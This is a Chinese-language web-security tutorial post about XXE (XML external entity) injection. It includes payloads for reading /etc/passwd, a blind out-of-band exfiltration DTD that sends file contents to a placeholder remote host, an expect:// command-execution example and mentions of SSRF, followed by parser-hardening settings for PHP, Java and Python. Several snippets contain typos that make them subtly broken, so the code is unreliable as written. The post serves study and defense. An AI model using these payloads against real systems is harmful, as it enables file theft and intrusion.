• WEB安全番外第三篇--关于XXE


    一、什么是XXE

    1、XML实体简介

    (1)在一段时间中,XML都是WEB信息传输的主要方法,时至今日XML在WEB中作为前后台之间传递数据的结构,依然发挥着重要的作用。在XML中有一种结构叫做实体:

    (2)一般其定义的标签关键字ENTITY,分为如下两种:

        一般实体<!ENTITY entity_name "entity_text"> 引用实体&name

        参数实体!ENTITY % entity_name "entity_text"> 引用实体%name

    (3)此外还有两个概念内部实体、外部实体,内部实体如上就不赘述了,外部实体如下定义:

        <!ENTITY name SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">

        <!ENTITY copyright SYSTEM "http://hostname.domain.domain/dtd/entities.dtd">

    2、搞清楚了1中的内容,接下来我们来看XXE(XML External Entity)

      说白了就是XML外部实体注入,通过构造输入中的XML部分,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    二、构造XXE进行利用

    1、读取任意文件

    (1)有回显的:

    直接引用:

    1 <?xml version = "1.0"?>
    2 <!DOCTYPE ANY [
    3     <!ENTITY f SYSTEM "file:///etc/passwd">
    4 ]>

    引入外部定义或声明来引用:

    声明的:

    1 <?xml verstion="1.0" encoding="utf-8"?>
    2     <!DOCTYPE a[
    3         <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
    4         %f;
    5     ]>
    6 <c>&b<c>        

    定义的:

    1 <?xml verstion="1.0" encoding="utf-8"?>
    2     <!DOCTYPE a SYSTEM "http://www.m03.com/evil.dtd">
    3 <c>&b<c>

    外部dtd文件如下:

    1 <!ENTITY b SYSTEM "file:///etc/passwd">

    当然外层会有java、php处理

    (2)没有回显的,需要发送到远端服务器上:

     1 <?php
     2 $xml = <<<EOF
     3 <?xml version = "1.0"?>
     4 <!DOCTYPE ANY [
     5     <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/ resource=/etc/issue">
     6     <!ENTITY %dtd SYSTEM http://a.b.c.d/evil.dtd>
     7 %dtd
     8 %send
     9 ]>
    10 EOF;
    11 $data = simplexml_load_STRING($XML)
    12 #print_r($data)
    13 ?>

    远端服务器上evil.dtd:

    1 <! ENTITY  % all
    2     "<! ENTITY &#x25; send SYSTEM 'http://a.b.c.d/?%file;'>"
    3 >
    4 %all

    然后通过远端把这个传过来的文件定义成实体,也就是外部实体,外层在处理。

    2、命令执行:

    具体参考一个PHP的,当然这里需要php安装插件:

     1 <?php 
     2 $xml = <<<EOF
     3 <?xml version = "1.0"?>
     4 <!DOCTYPE ANY [
     5     <!ENTITY f SYSTEM "except://ls">
     6 ]>
     7 <x>&f;</x>
     8 EOF;
     9 $data = simplexml_load_string($xml);
    10 print_r($data);
    11 ?>
    12 /*
    13 例子参靠源自:
    14 作者:Pino_HD
    15 链接:https://www.jianshu.com/p/7325b2ef8fc9
    16 */

    3、SSRF:

      既然发起发起访问,name自然就可以SSRF、同样内网探测也可以。

    4、对于不同程序语言

    三、防御:

    1、对开发语言配置禁用外部实体:

    主要是

    (1)PHP

    1 libxml_disable_entity_loader(true);

    (2)Java

    1 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    2 dbf.setExpandEntityReferences(false);

    (3)Python

    1 from lxml import etree
    2 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    2、禁用外部实体

    3、及时升级相关组件、中间件、避免组件中有类似的漏洞

    四、参考资料:

    1、https://www.cnblogs.com/r00tuser/p/7255939.html

    2、https://www.jianshu.com/p/7325b2ef8fc9

  • 相关阅读:
    [bzoj5285][Hnoi2018]寻宝游戏【复杂度分析】
    2020-2021-1 20201229《信息安全专业导论》第十二周学习总结
    2020-2021-1 20201229《信息安全专业导论》第十一周学习总结
    2020-2021-1 20201229《信息安全专业导论》第十周学习总结
    2020-2021-1 20201229 《信息安全专业导论》第九周学习总结
    熟悉编程语言
    2020-2021-1 20201229 《信息安全专业导论》第八周学习总结
    如何学好编程
    2020-2021-1 20201229 《信息安全专业导论》 第七周学习总结
    实现进制转化伪代码
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8441395.html
Copyright © 2020-2023  润新知